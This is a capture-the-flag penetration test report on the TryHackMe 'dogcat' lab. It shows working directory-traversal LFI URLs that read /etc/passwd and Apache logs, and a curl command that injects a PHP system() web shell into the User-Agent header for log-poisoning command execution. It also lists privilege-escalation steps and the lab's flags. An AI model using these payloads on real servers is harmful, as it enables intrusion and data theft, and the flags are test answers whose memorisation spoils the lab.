Penetration Test Report

TryHackMe - dogcat

Prepared by

Ambar Roy

Contact: ambarroy11@gmail.com

Report date: October 25, 2025

Engagement Type: CTF / Practice Lab
Platform: TryHackMe
Objective: Identify vulnerabilities, exploit the machine, and capture all flags.

Contents

Executive Summary

This report documents reconnaissance and initial findings for the TryHackMe room *dogcat*. During web enumeration, the application revealed a page that accepts a ‘view‘ parameter and attempts to ‘include()‘ a file derived from that parameter. When a non-standard value was provided, an error message exposed the server-side include target. This behaviour indicates a potential Local File Inclusion (LFI) vector, which may be exploitable depending on server configuration. All steps below are reproduced from the tester’s interactive session.

1 Scope and Rules of Engagement

Scope

- Target: dogcat VM (TryHackMe)
- Target IP / Host: `10.201.126.215`
- Objective: Identify web vulnerabilities and demonstrate PoC where permitted by the lab.

Rules of Engagement

- Testing limited to the TryHackMe dogcat VM.
- Non-destructive, lab-authorized testing only.
- All evidence reproduced from the tester’s session.

2 Methodology

1. Web enumeration: visit application, view source, and enumerate parameters.
2. Input manipulation: modify query parameter values and observe server errors/output.
3. Apply PHP filters and test LFI vectors to access local files and logs.
4. Test command execution via log injection.
5. Capture flags and document PoC.

3 Findings

Finding #1 — Unsanitized include parameter (potential LFI)

Application includes files based on user-supplied ‘view‘ parameter — possible Local File Inclusion Risk: High / Medium (inferred)

Affected Asset: HTTP: `/?view=...`

Summary:
The dogcat web page uses a ‘view‘ query parameter and attempts to include a file constructed from that parameter. Supplying a crafted parameter value produced a PHP warning referencing the included filename (e.g., `dog8.php`), indicating possible LFI risk.

Observed page source:

```
<a href="/?view=dog"><button id="dog">A dog</button></a>
<a href="/?view=cat"><button id="cat">A cat</button></a>
Here you go!<img src="dogs/8.jpg" />
```

Proof-of-concept:

```
# Normal URL
http://10.201.126.215/?view=dog

# Manipulated parameter
http://10.201.126.215/?view=dog8

# Observed warnings:
Warning: include(dog8.php): failed to open stream...
Warning: include(): Failed opening 'dog8.php' for inclusion ...
```

Impact:

- Reveals server-side include behavior and internal filenames.
- May allow local file disclosure or remote code execution depending on server configuration.

Remediation:

- Use a strict allow-list for ‘view‘ values.
- Disable detailed error messages in production.
- Avoid dynamic includes if possible.

Finding #2 — LFI with PHP filter and file disclosure

Local File Inclusion allows reading sensitive files via ‘view‘ and ‘ext‘ parameters Risk: High

Affected Asset: HTTP: `/?view=...ext=`

Summary:
The application uses two parameters, ‘view‘ and ‘ext‘. Manipulating these parameters enabled reading local files, such as ‘/etc/passwd‘ and Apache logs, using the LFI vector.

Examples:

```
# Access /etc/passwd
http://10.201.126.215/?view=dog/../../../../etc/passwd&ext=

# Access Apache access.log
http://10.201.126.215/?view=dog/../../../../var/log/apache2/access.log&
    ↪ ext=
```

Evidence:

```
<img src="dogs/<?php echo rand(1, 10); ?>.jpg" />
if(isset($_GET['view'])) {
    if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], '
        ↪ cat')) {
        echo 'Here you go!';
        include $_GET['view'] . $ext;
    } else {
        echo 'Sorry, only dogs or cats are allowed.';
    }
}
```

Finding #3 — Remote command execution via Apache log injection

Application executes PHP from logs allowing command execution **Risk: Critical**

Affected Asset: Apache logs: `/var/log/apache2/access.log`

Summary:
By injecting PHP into the User-Agent header of HTTP requests and using the LFI vector, system commands can be executed.

Steps to reproduce:

```
# Inject PHP code into Apache logs
curl "http://10.201.126.215/" -H "User-Agent:␣<?php␣system(\$_GET['c']);
    ↪ ␣?>"

# Execute system command via LFI
http://10.201.126.215/?view=dog/../../../../var/log/apache2/access.log&
    ↪ ext=&c=id
```

Finding #4 — Flags captured

Flags obtained during testing:

1. **Flag 1:** `/var/www/flag.php`
2. **Flag 2:** Reverse shell created in `rvs.php`:

   `THM{LF1_t0_RC3_aec3fb}`

3. **Flag 3:** Root via 'sudo env /bin/bash':

   `THM{D1ff3r3nt_3nv1ronments_874112}`

4. **Flag 4:** Exploited backup script in Docker in '/opt/backups':

```
THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bc1049bcba02
```

Finding #5 — Environment notes

- Apache 2.4.38 (Debian) confirmed via Nmap:

  ```
  PORT   STATE SERVICE VERSION
  80/tcp open  http    Apache httpd 2.4.38 ((Debian))
  ```

- Presence of '.dockerenv' indicates Docker container environment.
- Backup files under '/opt/backups' allowed a root shell in Docker.

Appendices

Appendix A: Commands used

```
# Example requests performed in browser:
http://10.201.126.215/?view=dog
http://10.201.126.215/?view=dog8

# LFI examples:
http://10.201.126.215/?view=dog/../../../../etc/passwd&ext=
http://10.201.126.215/?view=dog/../../../../var/log/apache2/access.log&
    ↪ ext=

# Apache log injection
curl "http://10.201.126.215/" -H "User-Agent:␣<?php␣system($_GET['c']);␣
    ↪ ?>"
http://10.201.126.215/?view=dog/../../../../var/log/apache2/access.log&
    ↪ ext=&c=id
```

Appendix B: References

- Error output and page source provided by tester (see Finding #1).
- Inference (LFI) is based on server error messages referencing an included filename derived from the parameter value.
- Flags and exploitation steps captured during TryHackMe dogcat session.